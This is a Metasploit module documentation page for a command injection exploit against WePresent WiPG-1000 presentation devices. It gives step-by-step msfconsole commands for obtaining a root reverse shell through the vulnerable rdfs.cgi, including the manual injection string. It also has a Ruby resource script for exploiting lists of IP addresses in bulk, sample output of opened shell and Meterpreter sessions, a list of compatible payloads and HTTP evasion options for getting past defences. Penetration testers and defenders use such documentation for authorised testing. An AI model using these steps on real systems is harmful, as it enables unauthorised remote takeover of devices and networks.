WePresent WiPG-1000 Command Injection - Metasploit
This page contains detailed information about how to use the exploit/linux/http/wipg1000_cmd_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WePresent WiPG-1000 Command Injection
Module: exploit/linux/http/wipg1000_cmd_injection
Source code: modules/exploits/linux/http/wipg1000_cmd_injection.rb
Disclosure date: 2017-04-20
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a command injection vulnerability in an undocumented CGI file in several versions of the WePresent WiPG-1000 devices. Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using wipg1000_cmd_injection against a single host
Normally, you can use exploit/linux/http/wipg1000_cmd_injection this way:
msf > use exploit/linux/http/wipg1000_cmd_injection
msf exploit(wipg1000_cmd_injection) > show targets
... a list of targets ...
msf exploit(wipg1000_cmd_injection) > set TARGET target-id
msf exploit(wipg1000_cmd_injection) > show options
... show and set options ...
msf exploit(wipg1000_cmd_injection) > exploit
Using wipg1000_cmd_injection against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your wipg1000_cmd_injection will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/wipg1000_cmd_injection")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a command injection vulnerability in the wePresent WiPG-1000 device. A description of the exploited vulnerability is available in section 3.4 of this advisory. The latest vulnerable firmware version is 2.0.0.7. Newer versions can be downgraded to the older firmware.
There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method checks for the presence of the rdfs.cgi
file and whether it contains the string https://www.redguard.ch/advisories/wepresent-wipg1000.txt
. All known versions of this file on the device are vulnerable to this command injection.
Manual exploitation would equate to browsing to the URI http://<ip>/cgi-bin/rdfs.cgi
and entering the String ; command;
in the input field and submitting the form.
Version 2.0.0.7 was confirmed vulnerable, and firmware 2.2.3.0 was released to fix the exploit.
Verification Steps
- Make sure the device is running.
- Start msfconsole.
- Do:
use exploit/linux/http/wipg1000_cmd_injection
- Do:
set payload cmd/unix/reverse_netcat
- Do:
set RHOST <ip>
- Do:
set LHOST <ip>
- Do:
exploit
- You should get a shell.
Options
PAYLOAD
The generic
,netcat
and openssl
payload types are valid.
Scenarios
Firmware 2.0.0.7
The following is an example run getting a shell:
msf > use exploit/linux/http/wipg1000_cmd_injection
msf exploit(wipg1000_cmd_injection) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(wipg1000_cmd_injection) > set RHOST 192.168.3.3
RHOST => 192.168.3.3
msf exploit(wipg1000_cmd_injection) > set LHOST 192.168.3.216
LHOST => 192.168.3.216
msf exploit(wipg1000_cmd_injection) > check
[*] 192.168.3.3:80 The target appears to be vulnerable.
msf exploit(wipg1000_cmd_injection) > exploit
[*] Started reverse TCP handler on 192.168.3.216:4444
[*] Sending request
[*] Command shell session 1 opened (192.168.3.216:4444 -> 192.168.3.3:50893) at 2017-04-20 16:11:48 +0200
id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
Go back to menu.
Msfconsole Usage
Here is how the linux/http/wipg1000_cmd_injection exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/wipg1000_cmd_injection
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/wipg1000_cmd_injection) > show info
Name: WePresent WiPG-1000 Command Injection
Module: exploit/linux/http/wipg1000_cmd_injection
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-04-20
Provided by:
Matthias Brun
Available targets:
Id Name
-- ----
0 WiPG-1000 <=2.0.0.7
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a command injection vulnerability in an
undocumented CGI file in several versions of the WePresent WiPG-1000
devices. Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched
this vulnerability.
References:
https://www.redguard.ch/advisories/wepresent-wipg1000.txt
Module Options
This is a complete list of options available in the linux/http/wipg1000_cmd_injection exploit:
msf6 exploit(linux/http/wipg1000_cmd_injection) > show options
Module options (exploit/linux/http/wipg1000_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WiPG-1000 <=2.0.0.7
Advanced Options
Here is a complete list of advanced options supported by the linux/http/wipg1000_cmd_injection exploit:
msf6 exploit(linux/http/wipg1000_cmd_injection) > show advanced
Module advanced options (exploit/linux/http/wipg1000_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/wipg1000_cmd_injection module can exploit:
msf6 exploit(linux/http/wipg1000_cmd_injection) > show targets
Exploit targets:
Id Name
-- ----
0 WiPG-1000 <=2.0.0.7
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/wipg1000_cmd_injection exploit:
msf6 exploit(linux/http/wipg1000_cmd_injection) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
1 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
2 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
3 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
4 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
5 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/wipg1000_cmd_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/wipg1000_cmd_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8288 Merged Pull Request: Minor changes to WiPG-1000 module
- #8270 Merged Pull Request: Add WiPG-1000 Command Injection module
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection
- exploit/linux/http/bitbucket_git_cmd_injection
- exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec
- exploit/linux/http/dolibarr_cmd_exec
- exploit/linux/http/elfinder_archive_cmd_injection
- exploit/linux/http/f5_icall_cmd
- exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
- exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
- exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
- exploit/linux/http/groundwork_monarch_cmd_exec
- exploit/linux/http/hp_van_sdn_cmd_inject
- exploit/linux/http/huawei_hg532n_cmdinject
- exploit/linux/http/librenms_addhost_cmd_inject
- exploit/linux/http/librenms_collectd_cmd_inject
- exploit/linux/http/linksys_wrt110_cmd_exec
- exploit/linux/http/microfocus_obr_cmd_injection
- exploit/linux/http/netgear_dnslookup_cmd_exec
- exploit/linux/http/pandora_ping_cmd_exec
- exploit/linux/http/panos_op_cmd_exec
- exploit/linux/http/pineapple_bypass_cmdinject
- exploit/linux/http/pineapple_preconfig_cmdinject
- exploit/linux/http/pulse_secure_cmd_exec
- exploit/linux/http/saltstack_salt_api_cmd_exec
- exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection
- exploit/linux/http/sourcegraph_gitserver_sshcmd
- exploit/linux/http/tr064_ntpserver_cmdinject
- exploit/linux/http/wepresent_cmd_injection
- exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc
- exploit/linux/misc/aerospike_database_udf_cmd_exec
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
- exploit/linux/redis/redis_replication_cmd_exec
Authors
- Matthias Brun
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.